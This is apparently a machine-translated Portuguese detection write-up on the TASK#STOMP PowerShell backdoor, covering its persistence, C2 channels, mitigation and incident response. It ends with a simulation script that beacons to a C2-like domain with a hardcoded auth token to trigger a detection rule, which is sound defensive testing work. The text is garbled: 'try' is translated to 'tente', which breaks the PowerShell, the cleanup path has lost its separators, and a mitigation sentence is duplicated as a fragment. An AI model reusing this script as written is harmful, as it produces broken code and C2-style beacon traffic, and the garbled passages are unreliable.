TASK#STOMP: Backdoor de PowerShell para Roubo de Documentos e Acesso Remoto

Resumo

TASK#STOMP é um backdoor resiliente baseado em PowerShell que utiliza a orquestração VBScript para estabelecer múltiplos mecanismos de persistência. O malware usa compilação C# em tempo de execução para contornar a validação de certificados TLS e mantém dois canais C2 redundantes para operações de espionagem. Suas capacidades incluem roubo automatizado de documentos, vigilância e execução remota arbitrária de comandos em sistemas Windows comprometidos.

Investigação

A pesquisa de ameaças do Securonix conduziu uma análise estática e dinâmica da cadeia de infecção do Windows orientada por script. Pesquisadores decodificaram payloads codificados em Base64, incluindo diag_pack.dat and win_conn_cfg.dat, e reconstruíram a árvore de processos de execução. A investigação também descobriu técnicas de timestomping, rotação de tarefas agendadas e compilação .NET em tempo de execução usadas para evadir a detecção de segurança.

Mitigação

Os defensores devem monitorar relações de processos suspeitas, particularmente wscript.exe or cscript.exe iniciando schtasks.exe com definições XML armazenadas em diretórios graváveis por usuários. Habilitar o PowerShell Script Block Logging e a telemetria AMSI pode ajudar a identificar a decodificação de payloads na memória. Bloquear domínios C2 conhecidos e detectar processos filho inesperados gerados pelo PowerShell pode ainda mais interromper a execução. csc.exe processos filhos inesperados gerados pelo PowerShell podem ainda mais interromper a execução.

Resposta

Se a atividade TASK#STOMP for detectada, os respondedores devem remover todos os âncoras de persistência de maneira coordenada, incluindo tarefas agendadas e entradas na pasta de inicialização. Instâncias ativas de VBScript e PowerShell associadas ao diretório WinDefendSvc devem ser terminadas. Arquivos XML de tarefas e payloads em estágio .dat devem ser preservados para análise forense antes da remediação.

Palavras-chave: TASK#STOMP, backdoor PowerShell, VBScript, persistência multi-âncora, compilação C#, validação de certificado TLS, C2 redundante, roubo de documentos, vigilância, execução remota de comandos, Pesquisa de Ameaças Securonix, Base64, diag_pack.dat, win_conn_cfg.dat, timestomping, rotação de tarefas agendadas, compilação .NET, wscript.exe, cscript.exe, schtasks.exe, Script Block Logging, AMSI, csc.exe, WinDefendSvc.

Execução da Simulação

• Narrativa e Comandos do Ataque: O adversário estabeleceu com sucesso a persistência em uma estação de trabalho usando um backdoor TASK#STOMP. Para receber instruções adicionais e exfiltrar dados roubados, o malware inicia uma sessão PowerShell. O script é projetado para se disfarçar como tráfego web legítimo comunicando-se com um domínio que imita um serviço de compartilhamento de arquivos (corecloudfileshare.xyz). Para garantir que apenas o backdoor autorizado possa se comunicar com o C2, o script inclui um X-Auth-Token codificado nas cabeçalhos de requisição HTTP. Esta combinação específica de destino e cabeçalho é o principal gatilho para nossa lógica de detecção.

• Script de Teste de Regressão:

  # Script de Simulação TASK#STOMP
  # Objetivo: Imitar a comunicação C2 para acionar a regra de detecção
  
  $C2Domain = "http://corecloudfileshare.xyz/api/checkin"
  $Headers = @{
      "X-Auth-Token" = "STOMP_DEBUG_TOKEN_9928374"
      "User-Agent"   = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
  }
  
  Write-Host "[+] Iniciando comunicação C2 simulada para $C2Domain..."
  tente {
      # Usamos -ErrorAction SilentlyContinue porque o domínio não será resolvido em um ambiente de teste real
      Invoke-WebRequest -Uri $C2Domain -Headers $Headers -Method Get -ErrorAction SilentlyContinue
      Write-Host "[+] Comando enviado."
  } catch {
      Write-Host "[!] Conexão falhou (Esperado se o domínio for inexistente), mas a telemetria deve ser gerada."
  }

• Comandos de Limpeza:

  # Nenhum artefato persistente criado pelo script de simulação. 
  # Se um arquivo foi deixado, use: Remove-Item -Path "C:pathtosimulated_malware.exe" -Force
  Write-Host "[+] Limpeza da simulação completa. Nenhum artefato removido."